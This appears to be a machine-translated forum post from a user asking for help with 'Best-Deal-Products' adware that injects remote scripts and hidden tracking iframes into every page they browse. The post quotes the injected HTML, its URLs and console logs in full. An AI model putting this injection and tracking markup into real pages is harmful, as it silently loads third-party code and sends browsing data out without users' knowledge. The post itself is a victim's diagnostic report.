Я обнаружил что-то, что я подозреваю, что это вредоносная программа / надстройка.
Скрипт добавляется на каждый веб-сайт, который я посещаю, даже когда я сделал это сам. Это добавляется в: http://puu.sh/dgIF0/0c452eb390.png и iFrames создаются в теле (http://puu.sh/dgJf3/c700693208.png). Я проверил некоторые из них, перешел по ссылкам и заметил, что они собирают метаданные и загружают их в Интернет. (кусок кода: http://puu.sh/dgIJE/3c53d5b1cc.png с этим кодом также произошла ошибка).
Я не могу найти много (полезной) информации о продуктах Best-Deal в Интернете (отсюда и это сообщение).
Кроме того, когда я использую Internet Explore или Google Chrome Portable (вместо "обычного" Google Chrome), он снова там. Программы как JunkwareRemovalTool не решили проблему (если это действительно проблема).
о моей системе: я использую advast! (бесплатно), у меня есть ОС Windows 8 64 бит, и есть вещи Lenova.
проблема не возникает при открытии файлов HTML с моего компьютера, только файлы HTML из Интернета. Также кажется, что не имеет значения, какую сеть я использую.
Я сделал пустой файл php и загрузил его на 000webhost. При просмотре исходного кода в голове есть только это: <script src="https://www.best-deals-products.com/ws/sf_main.jsp?dlsource=hdrykzc"></script> но при использовании "проверить элемент" отображается много кода, который не принадлежит мне (кроме кода 000webhost), элементы находятся во вложении. следующее также во вложении: URL-адреса от Best-Deal-Products, найденные в теге, и консольный журнал от Google Chrome при посещении google.nl
Мои основные вопросы: что такое Best-Deal-Products? Что оно делает? Есть ли какой-нибудь негативный эффект для меня? Если да, что я могу с этим поделать? Я надеюсь, что дал достаточно информации, но на случай, если нет; спросите, и я постараюсь найти его (или сеанс TeamViewer?) Я также попросил помощи у avast! и VirusTotal.
Вложение:
ссылки в тегах
https://www.best-deals-products.com/ws/sf_preloader.jsp?dlsource=hdrykzc&ver=2014.12.4.3.1
https://www.best-deals-products.com/ws/sf_code.jsp?dlsource=hdrykzc&ver=2014.12.4.3.1
https://www.best-deals-products.com/ws/slideup2/main.js?ver=2014.12.4.3.1
https://www.best-deals-products.com/ws/side_slider/main.js?ver=2014.12.4.3.1
https://www.best-deals-products.com/ws/js/base_single_icon.js?ver=2014.12.4.3.1
https://www.best-deals-products.com/ws/css/main.css?v=2014.12.4.3.1
ссылки в тегах:
https://www.best-deals-products.com/ws/userData.jsp?dlsource=hdrykzc&userid=&ver=2014.12.4.3.1
https://www.best-deals-products.com/ws/co/register_server_layer.html?version=2014.12.4.3.1
войти из Google Chrome при посещении Google.NL
Resource interpreted as Script but transferred with MIME type text/html: "https://www.best-deals-products.com/ws/sf_main.jsp?dlsource=hdrykzc".
sf_main.jsp?dlsource=hdrykzc:322 Uncaught TypeError: Cannot read property 'appendChild' of null
(index):4 Resource interpreted as Script but transferred with MIME type text/html: "https://www.best-deals-products.com/ws/sf_main.jsp?dlsource=hdrykzc".
Resource interpreted as Image but transferred with MIME type text/javascript: "https://www.best-deals-products.com/ws/tu.action?userId=fa8fa52b-c827-d5d4-…d8615-d4a&referrer=&page_url=https%3A%2F%2Fwww.google.nl%2F%3Fgws_rd%3Dssl".
frame?sourceid=1&hl=nl&origin=https%3A%2F%2Fwww.google.nl&jsh=m%3B%2F_%2Fscs%2Fabc-static%2F_%2Fjs%…:1 Refused to load the script 'https://www.best-deals-products.com/ws/sf_main.jsp?dlsource=hdrykzc' because it violates the following Content Security Policy directive: "script-src 'unsafe-inline' 'unsafe-eval' 'self' https://*.googleapis.com https://*.gstatic.com https://apis.google.com https://www.google-analytics.com https://www.googletagmanager.com https://*.talkgadget.google.com https://pagead2.googleadservices.com https://pagead2.googlesyndication.com https://tpc.googlesyndication.com https://s.ytimg.com https://www.youtube.com https://clients1.google.com https://www.google.com".
Элементы в моем "пустом" php-файле, размещенном на 000webhost:
<html><head><script src="https://www.best-deals-products.com/ws/sf_main.jsp?dlsource=hdrykzc"></script><style type="text/css"></style><script type="text/javascript" src="http://www.best-deals-products.com/ws/sf_preloader.jsp?dlsource=hdrykzc&ver=2014.12.4.4.1"></script><script type="text/javascript" src="http://www.best-deals-products.com/ws/sf_code.jsp?dlsource=hdrykzc&ver=2014.12.4.4.1"></script><script type="text/javascript" src="http://www.best-deals-products.com/ws/slideup2/main.js?ver=2014.12.4.4.1"></script><script type="text/javascript" src="http://www.best-deals-products.com/ws/side_slider/main.js?ver=2014.12.4.4.1"></script><script type="text/javascript" src="http://www.best-deals-products.com/ws/js/base_single_icon.js?ver=2014.12.4.4.1"></script><link rel="stylesheet" href="http://www.best-deals-products.com/ws/css/main.css?v=2014.12.4.4.1"></head>
<body>
<div>
</div>
<!-- Hosting24 Analytics Code -->
<!-- End Of Analytics Code --><script type="text/javascript" src="http://stats.hosting24.com/count.php"></script>
<iframe src="http://www.best-deals-products.com/ws/userData.jsp?dlsource=hdrykzc&userid=&ver=2014.12.4.4.1" style="position: absolute; top: -100px; left: -100px; z-index: -10; border: none; visibility: hidden; width: 1px; height: 1px;"></iframe><iframe src="https://www.best-deals-products.com/ws/co/register_server_layer.html?version=2014.12.4.4.1" style="position: absolute; width: 1px; height: 1px; left: -100px; top: -100px; visibility: hidden;"></iframe><iframe style="position: absolute; width: 1px; height: 1px; top: 0px; left: 0px; visibility: hidden;"></iframe><sfmsg id="sfMsgId" data="{"imageCount":0,"ip":"1.1.1.1"}"></sfmsg></body></html>